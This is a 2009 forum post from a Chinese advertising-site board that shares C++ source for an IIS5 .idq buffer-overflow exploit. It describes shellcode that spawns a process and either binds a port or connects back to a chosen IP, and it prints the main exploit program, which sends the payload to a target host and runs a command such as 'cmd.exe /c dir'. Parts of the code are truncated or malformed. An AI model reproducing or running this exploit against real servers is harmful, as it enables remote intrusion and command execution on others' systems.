江西广告网
标题:
IIS5_IDQ命令行溢出程序源代码
[打印本页]
作者:
纸老虎
时间:
2009-1-6 11:22
标题:
IIS5_IDQ命令行溢出程序源代码
文件结构:
cpp文件: iisidqoverflow.cpp 和 SkShellCodeFunc.cpp 头文件: SkShellCodeFunc.h 功能文件: WSAStart.cpp和SnakeSocket.cpp wsastart.h snakesocket.h(这4个文件不提供...因为,他们实现的只是WSAStart和socket的功能,你要成功编译本程序,必须自己替换相关的WSAStart和socket功能的代码.特此声明!) 中间文件: iis_idq.asm --用来实现shellcode数据的文件,编译的时候,不必编译,只是为了中间产生shellcode数据.它实现了溢出后,程序的处理:创建一个进程,并且绑定一个端口。这个还可以用于其他的windows溢出.
文件1:iisidqoverflow.cpp (主文件)
#include #include "snakesocket.h" #include "wsastart.h" #include "SkShellCodeFunc.h" //function predeclare. //取得 需要 地址 信息 void GetNecesProcAddr( char *szInfo, int iMaxSize); //生成我的 shell code代码. int Sk_Make_IIS5_IDQ_ShellCode(char *pszOutput, SYSTEM_TYPE SystemType, ConnectStruct *pConnectStruct, LPCTSTR lpszBindCmd); //宣示帮助. void ShowHelp() { int i; printf("运行参数: 操作系统类型 目的地址 web端口 1 溢出监听端口 \r\n"); printf(" 或者: 操作系统类型 目的地址 web端口 2 溢出连接IP 溢出连接端口 \r\n"); printf("\r\n\r\n 其中,如果输入命令参数没有输入,那么,默认为:\"cmd.exe /c dir\""); printf("\r\n 如果为1,那么,将输入新的命令."); printf("\r\n\r\n支持的操作系统 类型: ----\r\n"); for( i=0; i 0){ send( msocket, szBuff, iLen, 0); } return (iLen>0)?true:false; } int main(int argc, char *argv[]) { CWSAStart wsaStart; CSnakeSocket snakeSocket; WORD wPort; DWORD dwIP; if( argc > 1){ if( stricmp( argv[1], "GetAddr") == 0){ char szTemp[12048]; GetNecesProcAddr(szTemp, sizeof(szTemp) ); printf("%s\r\n",szTemp); OSVERSIONINFO osInfo; osInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); GetVersionEx( &osInfo); printf("Version: %d - %d. Build:%d. ID:%d\r\n[%s]\r\n", osInfo.dwMajorVersion, osInfo.dwMinorVersion, osInfo.dwBuildNumber, osInfo.dwPlatformId, osInfo.szCSDVersion); return 0; } } if( argc = MAX_SYSTEM_TYPE_NUM){ printf("操作系统类型 不正确.\r\n"); ShowHelp(); return 0; } dwIP = snakeSocket.GetHostAddr( argv[2]); if( dwIP == 0){ printf("输入地址不对.\r\n"); return 0; } Sk_ConnectType connectType; ConnectStruct connectStruct; char szCommand[129]="cmd.exe /c dir c:\\"; BOOL bInputCommand=false; connectType = (Sk_ConnectType)atoi(argv[4]); connectStruct.byConnectType = connectType; switch(connectType){ case LISTEN_ON_PORT: connectStruct.wListenPort = atoi(argv[5]); if( argc >= 7){ bInputCommand = true; } break; case CONNECT_TO_HOST: if( argc = 8){ bInputCommand = true; } break; default: printf("溢出类型不正确.\r\n"); return 0; } if( bInputCommand){ printf("\r\n请输入绑定的命令:"); scanf( "%s",szCommand); } snakeSocket.CreateSocket(); wPort = atoi(argv[3]); if( !snakeSocket.connect( argv[2], wPort)){ printf("连接目的机器 %s:%d 失败.\r\n", argv[2], wPort); return 0; } else printf("连接目的机器 %s:%d OK.\r\n", argv[2], wPort); BOOL bValue = SendIDQExploit( snakeSocket.m_Socket, SystemType, &connectStruct, szCommand); if( bValue){ printf( "发送shellcode 到 %s:%d OK\r\n", argv[2], wPort); printf(" 现在,如果系统类型正确,并且漏洞存在,那么,应该 可以得到 [%s] 结果了...,good luck.!", szCommand); } else{ printf( "发送失败, 对方系统类型不支持\r\n"); } snakeSocket.CloseSocket(); wsaStart.CleanUP(); return 0; } <
欢迎光临 江西广告网 (http://bbs.jxadw.com/)
Powered by Discuz! X3.2